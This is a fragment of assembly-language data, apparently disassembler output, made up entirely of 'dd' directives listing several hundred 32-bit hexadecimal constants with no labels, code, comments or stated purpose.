		dd 22E15D20h, 87C73EFEh, 2CFE97DEh, 2758B747h, 0BD6710E0h
		dd 3A78D127h, 0A5A9663Eh, 0E999023Bh, 54CB502Ah, 40615555h
		dd 370BBE5Eh, 44208649h, 90F6B78Dh, 0B5CDE150h,	0AB424556h
		dd 27925137h, 0BD979E7Fh, 5D699079h, 48085171h,	0DA880BAAh
		dd 97A539F8h, 0CB24FE24h, 897015A7h, 634AD47Ah,	0EA0F10DCh
		dd 0FD782B0Dh, 0C0268BAh, 0F2DF5F59h, 5B6290D0h, 0FE3F1603h
		dd 697FB68Ah, 55DCA565h, 0B4D7E60Bh, 6BC3FE6Ch,	0EB571EE3h
		dd 42E5A979h, 1F242Ah, 0E1445ED8h, 21245962h, 0C1C7A6E8h
		dd 8ACA0E84h, 0D643E90Bh, 3E65E5F7h, 0E27D12A7h, 0C4DD5CB8h
		dd 8BCFF13Ch, 0DC2B2EECh, 0F338C580h, 0B25FCB7Ah, 72A28998h
		dd 1E30BC25h, 64C460CEh, 5A053518h, 0E8ABC549h,	5BCD5A6Fh
		dd 4A8E623Eh, 5DECC27Fh, 0E9E2D979h, 97647805h,	7DBAD248h
		dd 11DF4D17h, 0B96A700Dh, 4B6F68F8h, 4D9B32Ch, 1D155A5Fh
		dd 0FB7AF801h, 480C8009h, 557F7C0Fh, 7BBD3D68h,	0CF545627h
		dd 7057E989h, 9DB9FCB2h, 16BC6879h, 93636ED2h, 2BA5DE45h
		dd 2FBAD54Fh, 0DBDF207Dh, 9845DC4Bh, 2C7FE275h,	1B6317B4h
		dd 0F2D80242h, 0D82D3415h, 68825FD1h, 46D7AC46h, 68570277h
		dd 0B38159Fh, 7B09BC78h, 8935476Eh, 0ABCB1162h,	0C83B2D72h
		dd 990562ADh, 1ECB4B5Bh, 4B837238h, 0EE4EB280h,	0D062B545h
		dd 69A259FFh, 3B19C9FFh, 8064D03Bh, 0C0BFFCF1h,	79B65297h
		dd 99C11F0Ah, 92680F28h, 0A1108C15h, 134D3BE2h,	96BCF2AFh
		dd 124A6CA2h, 496A71DDh, 0EF409532h, 98BFAFC6h,	2447F85Bh
		dd 2A16376h, 0E916280Bh, 0D95EA275h, 4C42405Bh,	14E983BDh
		dd 0F10AA7A8h, 0BB5C64E8h, 0A8C179E5h, 1CDEB76Eh, 94AC0668h
		dd 7DE2696Eh, 0E98C68DBh, 0F80CF34h, 0EB28A7C3h, 5FE02949h
		dd 0C16CE68h, 820459FDh, 0A8105E2h, 76307FA5h, 614C242h
		dd 6069F6E9h, 5FAC2A5Ch, 13F20B92h, 873B9F5Ah, 0CC62BD68h
		dd 24AD8F4Eh, 0F2AD2B4Fh, 99272796h, 2964BDF1h,	0C728C8EEh
		dd 80D42D41h, 244093A7h, 41F80280h, 4057319Eh, 0E1178F7Dh
		dd 820CAD6Fh, 0D5482E68h, 5FEC3D98h, 89809B4Fh,	580F4EE8h
		dd 0AD042A02h, 0EE46B516h, 4D307B97h, 9F069859h, 0C3151055h
		dd 1B632D22h, 830B115Ch, 1B8A70EDh, 38F0030Ah, 0A08830CBh
		dd 7C24E944h, 5285C1CBh, 0C0EB01B2h, 0E7805AA3h, 0B9FC0C5Eh
		dd 2A8F0E26h, 5052034Eh, 0C288DAB0h, 7341E8D9h,	8DBD5A8Dh
		dd 0E14D189Dh, 8EB64E08h, 94B77EAFh, 0D417A8F5h, 61B586Bh
		dd 0FE905006h, 7E5F9200h, 1557B80Fh, 6260B585h,	0C512215Ah
		dd 67504BE9h, 28D14CC3h, 537260F0h, 0BDF67890h,	0CF3D79B5h
		dd 3C226CBh, 2761D37Fh,	0D99DEE46h, 5C1C47D6h, 887E47F8h
		dd 6542E92Ch, 0F606F7ADh, 0CE9F956Fh, 362526DEh, 355EA5ECh
		dd 752B2752h, 82E928A0h, 0C77B9F48h, 0F7AC0162h, 3AE5DDC6h
		dd 704CF320h, 0F9565BAAh, 1A08441Ah, 8991FE97h,	0E6F72DE9h
		dd 0A62520B4h, 63290BA0h, 4D090C12h, 0E28DB0E0h, 36846B9Bh
		dd 0BB0AF8D8h, 0DBAB1E3Ch, 2600EB12h, 0A2A70FC3h, 60FCB8FCh
		dd 0F2EA4DB0h, 5A267B59h, 1E109B5Bh, 3AE7BE00h,	0DEF74A01h
		dd 0D8F2F5A1h, 0E898468Dh, 642B820Ah, 0E905AA0Ch, 9FAC6C3Eh
		dd 88EECAC5h, 65E6F679h, 72623C27h, 618E20ECh, 4AB15C56h
		dd 0B1ADC8BAh, 0C1E5A541h, 8920B71h, 0CB3B0E81h, 0F1E93882h
		dd 0D00BF9DEh, 4355EEAh, 0AF3073F2h, 64EA6784h,	34A5B8E3h
		dd 8300A5CAh, 7A281C2Eh, 8A449752h, 0DA015A17h,	77A512AEh
		dd 0BF526ECBh, 0CA644FCAh, 88AA1662h, 859605A2h, 7268510Fh
		dd 0FEEB4FEAh, 4E3FE272h, 3415C1AEh, 0CD312B5Bh, 200D45EFh
		dd 7CB5FB53h, 1194705Fh, 87625996h, 8B6554B4h, 2085F1C3h
		dd 509F833Fh, 1540B602h, 825E464Bh, 0E04E03C4h,	2C4D6F41h
		dd 121D410Bh, 7D3F8B16h, 0E2E07D24h, 4E5DEE84h,	7E3AA9BEh
		dd 9946C52Eh, 0F6380B43h, 5C7EC58h, 21635812h, 2DAA82FAh
		dd 144ABB00h, 0B4725A36h, 59131A8Bh, 0E4AA49C2h, 4406D5AAh
		dd 0B7E9D78Ch, 4EEDB093h, 6B72CD56h, 0AEA8701h,	0B27F6AD7h
		dd 0AE110C9Bh, 58A7B4D5h, 898F52AAh, 4C5C1909h,	37C85F17h
		dd 0B33FEB7Fh, 333F07F2h, 77D24F78h, 1447F5EFh,	0C022B606h
		dd 0CE91670h, 9650FD2Ah, 0EE928AA8h, 0F37FCB29h, 2FE9128Bh
		dd 1C000953h, 1D6D49C0h, 4EA5B055h, 4585F3D6h, 0CE953AEFh
		dd 1E384EEh, 0BD4789D0h, 42FE2B28h, 33E9566Eh, 4267A978h
		dd 5D09484Ah, 10C959D3h, 0B6424B2Eh, 0A3EF6253h, 228BB900h
		dd 593A7A81h, 0BB4F2C9Ah, 1F40663Dh, 0A9FAE953h, 612A8FB8h
		dd 870C1042h, 28F58018h, 0DEC1EB05h, 51023FC2h,	0A522F1FDh
		dd 0FA40A57Ch, 0B73BA633h, 0D0621DFCh, 49B05D92h, 791410CAh
		dd 26B17AB0h, 6469C1A8h, 1533200Ah, 72D1682Dh, 0F082026h
		dd 251CC780h, 5DB0854Ah, 8FD41734h, 2B4BE152h, 0C0594B88h
		dd 756AC996h, 8A984A62h, 10FCC61h, 377E5AD1h, 0D5EB5400h
		dd 0F67DFC15h, 0CBFCB4D8h, 904F745Eh, 1C84D22Dh, 0DD7ABBAh
		dd 0B4D448A4h, 0EBCF84AFh, 891BF30Fh, 541260A0h, 5951EE5Dh
		dd 0CA3F80D0h, 0B7076D28h, 983E9173h, 0F1AF2A6Bh, 0BD24DFA2h
		dd 32383096h, 0A9786642h, 7F10C42Ch, 1AD44EFh, 0FC079BCh
		dd 0C12CFC49h, 0E903E005h, 0F3B54A4Fh, 0C2EA567Ah, 5ADF5969h
		dd 88BF5B96h, 5C09EB45h, 702D8F5Dh, 286B3248h, 8021A0A3h
		dd 0EBCC10F3h, 0E980A398h, 913BD713h, 28D64AD2h, 7D86A2C7h
		dd 0F9488374h, 0FC581002h, 2B900046h, 0D9B80D7Dh, 0CB715F0Bh
		dd 0ADD58013h, 972AAC20h, 0B84EFAC8h, 7EC9862Fh, 9E02089h
		dd 1030139Eh, 0EB6086D8h, 0AFED80D1h, 0AD560F6h, 5E5C0F1h
		dd 44E110D6h, 0CDD401FDh, 2DB47D50h, 5E68E2E9h,	707B18EFh
		dd 6DBD3B4Fh, 477F0841h, 0DD78E9F0h, 80EEEC66h,	98E3CC39h
		dd 2D0615ECh, 0FAE54A28h, 0B9011488h, 2DF0214Eh, 487479DAh
		dd 0B57CF082h, 5777C39Ch, 2BF214C1h, 9D3A1CF6h,	5F0C0020h
		dd 0A14AD0E9h, 0C6EB63AEh, 0E6BE153Eh, 81CB5603h, 0ED2DD9FFh
		dd 36C2D02h, 0E2426D3Fh, 815CA325h, 8871D9D6h, 0EBA0C3h
		dd 53668AB6h, 0F63AF788h, 39FE3CD7h, 4CEB05Bh, 926FEE80h
		dd 8CE91690h, 16708A3Ah, 4490E6Fh, 0E32F3DFh, 7F4A127Bh
		dd 0A1E51AB4h, 999AE05Fh
		dd 1FB73E38h, 55426498h, 8F1749C6h, 0B8F03EB6h,	28014B0Eh
		dd 0F3985621h, 74D9C425h, 2865EF4Ch, 0BECC40CDh, 3C8EE4C9h
		dd 0FC5C40F6h, 690BDE03h, 0CF88DE2Ah, 2729424Bh, 70ADF4D9h
		dd 0DF220E3h, 0D73F3362h, 5558015Ah, 4AAA2054h,	0EC5027A9h
		dd 5E19C1BDh, 0ADA82B31h, 0E67DFA05h, 0D929856Ah, 0A5B6C99h
		dd 9EFD66E9h, 383C84Bh,	3C9BBD30h, 0C01B54C2h, 58020888h
		dd 0CC20C64Eh, 2D3A72EDh, 21488726h, 0DA815E83h, 25A58623h
		dd 0BA29E2Eh, 4D84C7BAh, 8E49E85Fh, 42D2A2F2h, 0EBE66831h
		dd 89EA9ECAh, 0D163912h, 0A35DAC20h, 7E62AA3Eh,	0D07A6528h
		dd 75EB94Fh, 0FFEBF550h, 5EBD46Fh, 4BAAC581h, 0FC125EE2h
		dd 0D63D8011h, 368B26DEh, 0C3E5B31Ah, 0CA8D0226h, 4EC72598h
		dd 3B1FB5F4h, 0E208E06Dh, 6BA9008h, 0ECE7ABE3h,	0E912E689h
		dd 39AC202Dh, 7C36FCD2h, 3BB165F7h, 0E9A86AF8h,	5093EE67h
		dd 1892CC64h, 6E36575Bh, 79BF5702h, 0D563DA7Ch,	23100330h
		dd 0E331B02Dh, 2AD5B86Fh, 0DAF7304Ah, 932FF434h, 2C674F98h
		dd 5961AC75h, 0BE2FFFB7h, 0A83F3169h, 0E668A0F0h, 0E5DDA83Dh
		dd 0D97D823Eh, 0B2FF525Dh, 0DBC47515h, 22E01AA0h, 0C125E37h
		dd 4417F15Ah, 40B4B7E0h, 0A9F64951h, 5C8A859Dh,	21617E30h
		dd 320740BFh, 7EB47905h, 0BCB005E9h, 3C5500BAh,	81420371h
		dd 0E6EA96E2h, 3B2E2860h, 0A0677339h, 721B1CD0h, 0B95102AEh
		dd 2EA52413h, 469F4260h, 1E2C833Bh, 0B58B11E1h,	323B820Ah
		dd 0AAE36367h, 0B5697058h, 5282BFF4h, 0F5C4F0D4h, 0F4CBA7E6h
		dd 5C2FAB73h, 945FAF89h, 0EF5D5EEAh, 8EAED917h,	3ED24A76h
		dd 75AFD850h, 5B752427h, 154B0973h, 2905D6FBh, 0A1A958C5h
		dd 0C2FF32D3h, 4BF4C72h, 60ECA731h, 0DEFA2818h,	94BF1A27h
		dd 0B31B2E10h, 0AD78294h, 0C56174DCh, 0F287013Dh, 9D0F9B20h
		dd 0DB8EDB09h, 670A023Ch, 255E82E9h, 6B7B0D00h,	0E8053324h
		dd 971509FBh, 2EF2EE81h, 0E1C5E92Dh, 0C03A4803h, 63320D6Ah
		dd 1828ED3Fh, 0C3C3418Bh, 2D2E9858h, 0DE5C17D6h, 0D85E8E6Eh
		dd 0F6DFF152h, 0C7C77E05h, 0FA0A5208h, 2DB73DCEh, 7F1E4D0Fh
		dd 3084C7BDh, 7E8CAA3Ah, 16AD9ED5h, 0D288FE5Ch,	0DD9E4F0Dh
		dd 0E50729DCh, 2460582h, 5DED001h, 34E9C8E1h, 97057B89h
		dd 0BB17D48Fh, 4C071310h, 0CFF84E31h, 155EB680h, 893F562Ch
		dd 0C1CA12DEh, 921DAFEh, 0FF1D56E9h, 0F0C2293Ah, 2FD8E361h
		dd 582E33D8h, 8D6A3E4h,	8A26C2EDh, 31626804h, 50C613B8h
		dd 0EE22715Eh, 0DA519D01h, 2C4CE98Bh, 0F03870E6h, 2719609Bh
		dd 0FBB7A0F7h, 51FB409Dh, 69AA2527h, 8A0455Ch, 1B575F25h
		dd 5B17E860h, 364663AEh, 31BA7079h, 1C080D12h, 35EA1404h
		dd 2AE7FE46h, 109D1DC4h, 769902D3h, 0D7013659h,	0E9867359h
		dd 7911B41h, 0F6CFCE2h,	297DB316h, 8FC7ED1Ch, 7579EF1Dh
		dd 0ECB5BA9Ah, 70EDFAA4h, 75FD75E2h, 305B13C5h,	98C9BAE8h
		dd 138BE97Bh, 24D761ACh, 7713AF72h, 21E48E6Ch, 0EBB40583h
		dd 17BD340h, 2CBF1987h,	0BFB97B84h, 38279DD0h, 9FF4724Ch
		dd 9D79D0B7h, 44EB9FDEh, 18C67C29h, 63FD2E40h, 7414A86Eh
		dd 41BAF101h, 0C1C06B08h, 17C40A5Bh, 0AED2F710h, 133FC831h
		dd 498F2C7Dh, 82011F5Ah, 0F4B1515Bh, 560BB252h,	56F5F280h
		dd 0D2F60D5Dh, 0DFEAE804h, 94E69E1h, 525D1EE9h,	12314B53h
		dd 0BEA12458h, 0FA69389Ah, 821BECD7h, 24385EE4h, 4E0150A4h
		dd 5F7CE23Ch, 0E917B8F2h, 0FEE85678h, 0F512008Bh, 0FEE3FB9Bh
		dd 0E2CFBE3Fh, 40E38466h, 91D642A8h, 0C9FB016Eh, 2EA6312Bh
		dd 44DFD14Eh, 0F5A45FF9h, 145599CEh, 73133C21h,	0B2F6B817h
		dd 0CBE6FD02h, 0B172F5Bh, 99B501B8h, 5555314Eh,	0F78981EBh
		dd 0F3833C50h, 60587AEAh, 5CBA2333h, 6C4CA635h,	0E63A55F2h
		dd 5231F17Fh, 6EE060C1h, 0AE85B227h, 555E4F92h,	7C8E3DB2h
		dd 62787622h, 2AD2A969h, 0CAFE6B12h, 54531223h,	8DE93102h
		dd 0D21D7BAh, 0D43CC781h, 5A4A5CF5h, 50FAED49h,	0CC5CBDD0h
		dd 495C59E9h, 9F6C9457h, 6285B198h, 68203041h, 16333810h
		dd 0C90483CCh, 0AB08892Dh, 74523E0Bh, 0EC09AF74h, 31823100h
		dd 0E9137293h, 0BF9CA5B0h, 5AF52E88h, 6866005Ah, 67E917CBh
		dd 31273B92h, 39CA7DEBh, 0A9AA106h, 2BB5B4Ch, 6F1795F1h
		dd 1F49FC13h, 0FAA43A5Eh, 22F7E987h, 8C028FA0h,	2768439Ah
		dd 0A6457944h, 78F5F42Dh, 664E9768h, 0EBB528E8h, 0D24944A6h
		dd 1464A1A4h, 381C888Fh, 82B94C4Ch, 0EE72805h, 2FC34BBFh
		dd 0F842B2F9h, 849E5F5Fh, 8D2E71BDh, 0D83F373Bh, 0F9B7E0F0h
		dd 0EA0289FDh, 0F1C20A1Bh, 0D0B5AD50h, 4F60300Ch, 9598EEFDh
		dd 0F764A027h, 1D9D405h, 549627BAh, 44B03BF5h, 7EF27C1h
		dd 52B268D7h, 0B3B160E9h, 1B45066h, 4ED3DEC8h, 3349E9AFh
		dd 0FCB94AF3h, 0E84A9DFAh, 0B52AC8AAh, 91299940h, 0C08412FAh
		dd 0D1F75986h, 5851501Dh, 0E4E779A7h, 0B89290C8h, 0C7315C9Bh
		dd 0FB145678h, 5352B004h, 81115EB7h, 2E46BBB9h,	29F43F51h
		dd 16999484h, 81B8A4B8h, 1F10ED01h, 0C5016BF7h,	80995E3h
		dd 0FFE18458h, 0ECAE7494h, 6AB5B269h, 0EB20046h, 9D65702Eh
		dd 8C2082D0h, 0F3C904Ah, 55672C82h, 98B63D65h, 51E50108h
		dd 246DB86h, 0DC66E156h, 1A175E39h, 5B6DE399h, 0D6E53BBh
		dd 2BD10FFEh, 2CFEA825h, 2624E95Bh, 5F52D7B2h, 0E95034F4h
		dd 0CA3D5428h, 0A8C25029h, 315B60CCh, 9672E5CBh, 5BCF1A5Ch
		dd 82800209h, 0E68A3B92h, 5166016Eh, 0E903B353h, 58882E1Fh
		dd 3F0913EEh, 8028124Fh, 6761EA8Ch, 962D320h, 3CD019B4h
		dd 8CF83893h, 594BF051h, 3ABE9502h, 0BC29C141h,	0B0FD7424h
		dd 0F639257Ch, 58EB4B74h, 0CEE7951Bh, 75F9E989h, 5A93DA10h
		dd 0A5EBD982h, 0DE3B65C0h, 0C3225D82h, 67804BBAh, 68947F0Dh
		dd 7ADAF730h, 60A954E2h, 36D1B875h, 0DA90251Dh,	68EBB25Bh
		dd 98452A88h, 3F8A42Fh,	0A7B5B33Eh, 0FEBC4004h,	0B0501CC2h
		dd 58AD3A69h, 0E94C22F7h, 5B44C868h, 38F3772Dh,	0F09429AAh
		dd 0B57C0705h, 0BD5527A0h, 2A504570h, 90BDC9CCh, 0EA9EA8Eh
		dd 105FE72h, 800CCDAh, 5935E95Dh, 1B22229Fh, 3ED80934h
		dd 0CA9F4398h, 0D3AA612Eh, 8AEBC350h, 128F241Fh, 0BEE1C1Ah
		dd 0AE891422h, 52DAA390h, 20316CB7h, 0BB811659h, 4A6B68FEh
		dd 105EDAFBh, 0BD00F4FBh, 7B901BEEh, 6098EDC1h,	0EC0BDD68h
		dd 50042B10h, 0F84A2A68h, 8845C13Bh, 61FA5BFCh,	5E790673h
		dd 0CB70211Fh, 4048892Bh, 755C65DEh, 0FFD7277Ch, 61490E9Ch
		dd 54B25ED3h, 4090D7DFh, 35D8F737h, 8A3E469Dh, 57B91308h
		dd 207DDCCBh, 6805247Eh, 5E390B25h, 9BE1D407h, 61294B82h
		dd 743BCFEFh, 0B125A84Dh, 288196FAh, 887B0E0Dh,	1873D46Bh
		dd 6378FB24h, 6340CE02h, 0E44FC070h, 61E02F51h,	290D1055h
		dd 0F4895AFAh, 0BF3CF71Ah, 3F4BBB4Eh, 0EB2009CFh, 0EDA0F73Eh
		dd 40B075FDh, 0D00101F9h, 8411CE21h, 0E4825B59h, 7A63551Eh
		dd 6873B40h, 0E930190Ch, 70B2A7A7h, 0E8D35B13h,	88C32456h
		dd 0EA801500h, 94CAFEABh, 2AC20EB9h, 2012DAADh,	0D3F89B34h
		dd 0A65FC3F8h, 63EF9409h, 0E9F380F3h, 0CCC2B5A2h, 5977B742h
		dd 93296BB1h, 4D27CC56h, 240C1822h, 6E003FB8h, 0C5B97B14h
		dd 0BD84EB91h, 59EA0A2h, 693FD0Eh, 7E82E2BFh, 7EA6B72Eh
		dd 31EF3098h, 2236C9C5h
		dd 0ED5B7E25h, 0DDC86ADh, 5CF5ED19h, 2F109022h,	0DEB84A22h
		dd 0DB64FA4Ah, 2D5AE501h, 0A707DD2h, 0F019D64Eh, 0DC4BBA48h
		dd 144033D7h, 7D89FCF5h, 6EA04DEFh, 638A2500h, 0D0F74315h
		dd 49846817h, 52D19760h, 813900B7h, 0CA2946F3h,	0D8520960h
		dd 1E24D4ABh, 0CF1785C6h, 13BEF908h, 0A3A50B01h, 0E5571CC2h
		dd 99468B8Ch, 2D951ED5h, 0E694309Eh, 7FFA3825h,	0AA778B90h
		dd 0CC4D582h, 4E964E5Dh, 0C1A467F8h, 10A385CCh,	0A0515FFEh
		dd 772816F3h, 4871F5h, 7A4DE02Dh, 57563514h, 52B5400h
		dd 82496917h, 258620E9h, 0E5C63FA9h, 0C163FB3h,	2159729Ah
		dd 403BF116h, 0C271D3Eh, 218129D2h, 99E98B85h, 5E99AE35h
		dd 0B2BC1E9h, 0B7705F7Fh, 0B04AC4C8h, 0FE11F8BCh, 0C0BD3224h
		dd 0F8410309h, 0E945133Eh, 59474933h, 0A5F28155h, 0A76CE825h
		dd 400EA4B5h, 0B3255C4Bh, 809C2208h, 2CDA64C7h,	0B0DF0968h
		dd 0F3F73C8Ah, 0D1FDCB9Bh, 9BBBA5F5h, 24FD3427h, 0C2BA06EFh
		dd 0A65056ACh, 0D4685E09h, 8B55716Eh, 9CD5F0ABh, 0BBF00B6h
		dd 0E968AC2Dh, 22BF33C2h, 0D9D341h, 0A06AAE05h,	7502405Ah
		dd 0C13E6101h, 167B120Ch, 0D74AFDCh, 37BFD000h,	51011AB6h
		dd 803A5D5h, 52E9F029h,	89EDBCF2h, 0C755F4EEh, 0CCF5A5C5h
		dd 0C08EAA5Bh, 5A695696h, 0E213FF34h, 32B433A8h, 1984C706h
		dd 0A321FE89h, 1C739B58h, 1815BB03h, 82C41A5Dh,	2968C9AFh
		dd 0F62565BAh, 0A2695A73h, 97D17095h, 0E9AFB3D5h, 992E2D62h
		dd 0C976E4Bh, 231B18E7h, 133FC148h, 0D202B115h,	774A9E74h
		dd 27E66D55h, 54869AF5h, 0C55E49E4h, 8BAE5065h,	0E3AE075Eh
		dd 0E880302Dh, 0DEC9A4E9h, 0B3E8323Ah, 12407157h, 7BF2EB5Ch
		dd 1551BA54h, 294AFB68h, 53B90978h, 80556FB5h, 0C617153Ch
		dd 61709D59h, 7C056097h, 63339938h, 0B776F1CFh,	0A6943AF9h
		dd 60610AABh, 71AA681h,	93572D01h, 0B4EA23F7h, 5F2D4554h
		dd 8B21AF9Ah, 606D5F19h, 9C929B02h, 0EF893BBFh,	97FF5069h
		dd 25439477h, 96D42DFEh, 0E47A66EFh, 6E20273h, 4D586842h
		dd 216F09F4h, 649F6162h, 1EBCB60h, 2EF73A91h, 81CD88E9h
		dd 77FBC16Fh, 1ED672Ah,	38685964h, 0AB4F5D26h, 6B03123Ch
		dd 0E7E02A93h, 0A083F8BEh, 10F1FFDh, 6C68120h, 6C2CF24Ah
		dd 1AFD3D0h, 0D24FEA1Dh, 3D112025h, 0D9A93EE1h,	0CC840A9Fh
		dd 0B270AD94h, 9CDAED29h, 3054FAA5h, 0EEC7A03Dh, 662F108Eh
		dd 0C8E5E38Ah, 3F3DD6CDh, 0C5A8624Ch, 2F681640h, 9A746045h
		dd 274F1F37h, 3D2CDFC6h, 0BDAD1122h, 0B0EA1BC0h, 0E0416681h
		dd 0D5C23756h, 10E29E7Bh, 0DE7957CCh, 783B3395h, 9D93D295h
		dd 0BF488DA4h, 5BBE8326h, 4008FDEBh, 581B186h, 4AAA222Eh
		dd 0C74E9864h, 8331A2F5h, 386802DCh, 0AF4B0828h, 0F5AFBB64h
		dd 0B4A73F9Fh, 0F891E9C4h, 0D0AD25CEh, 22ED0FF4h, 9AA409BEh
		dd 4A8FA3DFh, 0BBBB34FAh, 600239D8h, 0FCB3F366h, 0D8BF522Ch
		dd 159F98BEh, 0A7DDE919h, 4D30EA4Ah, 0A6640E68h, 0B229F197h
		dd 0DF015B0Bh, 0CCA6C404h, 50E7688Bh, 0B8BFB10h, 37937899h
		dd 0D6302557h, 28E68852h, 0ED8C648Ah, 4B179048h, 815CF84Fh
		dd 733830D1h, 690BD96Ah, 371F48E1h, 0D0045AF3h,	0D3767CDCh
		dd 0D2D9BE6Bh, 895BA32Fh, 0FA44751Ch, 4D4FB800h, 5481A8Fh
		dd 70B212B6h, 0DED4FBE5h, 59F5814Dh, 40B3F33Fh,	4D71D9D4h
		dd 0F0E97713h, 5E2C5D40h, 0B604C828h, 6413BF63h, 0B470F4FBh
		dd 6BBC3D1Eh, 0C8BBFCD6h, 34FC5CAAh, 13D366FDh,	8DFAE5DDh
		dd 4CAA2EE1h, 0D94241C4h, 27E6B480h, 485D6AB6h,	2730584Eh
		dd 5E645BDEh, 2F368144h, 7A46E331h, 250C6C52h, 2F0E6C59h
		dd 15759085h, 6F5F25B0h, 65FEAD44h, 6E0EED89h, 608CF604h
		dd 0F48068FEh, 0DC0FF67Dh, 9E0B353h, 957D8E3h, 951BE9FAh
		dd 16BB0FAAh, 4A41AD27h, 0E9137DFDh, 328E56E6h,	20FF467Fh
		dd 2B6EEE9Bh, 0C8654F8Ch, 92B75F58h, 5339412Ch,	396EE1A8h
		dd 0B84F81EFh, 0C8D884C6h, 7C426BD1h, 55CCDFC2h, 30C0BA0Ch
		dd 4ABD2A71h, 0D837AEC2h, 7A2198A2h, 0C9CB698Eh, 2A5C690Bh
		dd 71AC42B0h, 884A5F8Ch, 3E7EB583h, 0BEA0377Ah,	0E52CE890h
		dd 5129580h, 0F02639BBh, 0C62E3F17h, 29DAF0Bh, 0F4C5D3F4h
		dd 0A2CEEDB1h, 0DD87588Fh, 2C4E64E6h, 0A882CFAh, 14B23AFBh
		dd 0CBAB49DFh, 0C30CCAFAh, 687A8F54h, 0DE5C97CCh, 44BCDD72h
		dd 0E38DF69Dh, 0BADC43E9h, 0F84FA7E6h, 13E81C48h, 8D665725h
		dd 2057FEF7h, 50E8F6BDh, 0C58608Fh, 5D0972E6h, 8B5D799Fh
		dd 8B5C250Ch, 97518846h, 4F64247Ch, 0C808D1AFh,	0C9CA7A33h
		dd 0BD552860h, 9C006160h, 7C40BF06h, 0B0295B3Fh, 83CDF66Ah
		dd 8A9F8400h, 0F0894C2Eh, 79DEB75Eh, 1818A509h,	0E4C588FDh
		dd 8859582Bh, 9317A545h, 77A8FD82h, 55693FF9h, 0AD444A51h
		dd 89DEFCAFh, 55DDA0D9h, 121A0C68h, 0BE5D4131h,	0E3046AC9h
		dd 0D131DEC9h, 50E4AD3Eh, 67168C3Fh, 0E4919BB5h, 0E82AD5E6h
		dd 41E9F00Ch, 4BF8B955h, 7E094057h, 0BA3A4CB4h,	0DCC91A0Eh
		dd 0F8BAE944h, 0D8EA4EA9h, 0C358314Dh, 0EB3025A6h, 0F8B44A82h
		dd 78A98BD8h, 4C2EEABBh, 5785108Eh, 17C1B21Ah, 1162B432h
		dd 9742D896h, 2F819757h, 8A2D5BA0h, 370B857Ch, 1A0FB6E9h
		dd 639CC037h, 0DCEA8995h, 8FC38DF7h, 84D4B753h,	0E1F13281h
		dd 8851178Eh, 28C4ED6h,	0F1084CCDh, 0C2237859h,	9499C9E9h
		dd 6C6816FAh, 12FDF351h, 736401Ah, 0D4F3B5B7h, 885A90ADh
		dd 0E8F672D5h, 8672CFEAh, 0E3B5C91Fh, 45D77C8h,	31016117h
		dd 951467FAh, 62A321D3h, 47F70790h, 0A5AC5A75h,	0EAD11374h
		dd 0EB941750h, 2C02714h, 0BB0712C2h, 674A7560h,	555F080Ch
		dd 0B04169B0h, 0A4D2A12Fh, 60014507h, 29639687h, 3260FF3Bh
		dd 0EAFBC8C7h, 0FE014A56h, 0E9B48158h, 208D4F27h, 51862D4Fh
		dd 11A6F05h, 71705D8h, 2A1B3DFBh, 0FA4B52BFh, 107A509Ch
		dd 0A4695D1Fh, 0E3E90C03h, 0B63D04CEh, 0AF2BCDC7h, 24BF0112h
		dd 3753BF5Ch, 0BABCD4F0h, 23CFBDE4h, 0AD06E904h, 0F0D1BA94h
		dd 283FBFBBh, 0BBD4298Bh, 6F101284h, 9D84E0E8h,	0EF5B98Ch
		dd 7D5D1D6Eh, 670ACE81h, 4360077Fh, 2D531435h, 930CD20Dh
		dd 0CAB2081Bh, 30277DEEh, 30A27C70h, 0D2175B1Eh, 0DFF8075Bh
		dd 0EE0EE213h, 31894138h, 0E5B0205Fh, 585607B5h, 0CE31178Bh
		dd 0FC37AE59h, 0E1AB3AE5h, 0C4703271h, 0E2FACD87h, 0C1137791h
		dd 0A0306E5h, 94FB0D80h, 0B57DFCAAh, 5810DDE9h,	6856040Dh
		dd 3CAA3DCEh, 54B35E71h, 77176805h, 4B75D0D8h, 0ADD5CD2Fh
		dd 7176624Eh, 0F0E9C25Fh, 285A7048h, 795BD838h,	95E35250h
		dd 0BC7B880h, 29715608h, 2C3FBAF6h, 80815152h, 0CB20E8F1h
		dd 0F22C07E9h, 29C0572Fh, 9D3E4EDBh, 19A79840h,	862A75AFh
		dd 1294B93Dh, 0EE01553Ah, 0AE64A6CEh, 28C0E87Ah, 3392DFCDh
		dd 4CCFE37h, 0BC959095h, 723305AAh, 139B8838h, 0CBC9FD6Eh
		dd 45B64184h, 0BDF2B4F0h, 5209275Bh, 6FA4DCA2h,	60C40C5Ch
		dd 0AAE4C786h, 10E99B0Ch, 0ECAC26DDh, 0E30E5A1Dh, 0F5B2154Dh
		dd 7B44C21h, 14103C7Fh,	57B760E2h, 0D71581F1h, 4F6259E7h
		dd 0EA2DC4BCh, 9F91EFE9h, 4FCF5DB7h, 0B299E620h, 0C18327C9h
		dd 0B7AC147Fh, 0D509AF32h, 0F480BB21h, 38D0E04Ah, 0DBE311C7h
		dd 0F028F3B2h, 0A0EB249Ch, 5BE010B8h, 0BD18C6F8h, 0F38171FCh
		dd 0B4096971h, 30D8313Ch
		dd 4ADB68F7h, 9273B50Ch, 0D3FA50C1h, 0B8BD5855h, 4EBA092Ch
		dd 14F9DEAEh, 0D24A07F6h, 7177759Fh, 0B3243C16h, 34B99C1Bh
		dd 0CA7B834Dh, 715A5B99h, 1650F637h, 9AB93FEFh,	53F6D3DFh
		dd 99DCFA52h, 865C7043h, 978A6A20h, 0A154C60Bh,	9DC9CDF8h
		dd 2C086FFBh, 0D3511F23h, 91EDC3h, 3A942DF8h, 485F5E9Ah
		dd 0A4169D53h, 2222BD37h, 0D6E5A27Ch, 0CA75081Ah, 1003728h
		dd 579722Eh, 3322F84h, 5D813566h, 0C1F2DFA4h, 492B6E1h
		dd 0C04759C2h, 8ACAA2Eh, 0FA01424Eh, 0F95AD50Bh, 0DDE985A5h
		dd 0D34BD343h, 6FAB68B9h, 842D6DA6h, 0BE82E1C2h, 8362AF14h
		dd 6CBAFE01h, 0A617DB15h, 0B48CD3B2h, 271F9679h, 0CC2FBE7Fh
		dd 14765330h, 0E9751F05h, 0B2A24BFEh, 0F2D0E184h, 28D9D445h
		dd 4F5C7A96h, 90DE20F8h, 63E5092Bh, 0F58B5721h,	695FB9C4h
		dd 0D64FD8F2h, 0E740B457h, 4FED2F80h, 304C2A70h, 31BF5A2Fh
		dd 3A735A1Ah, 0E9824DF6h, 0D07CD636h, 5F636A82h, 78CE8E05h
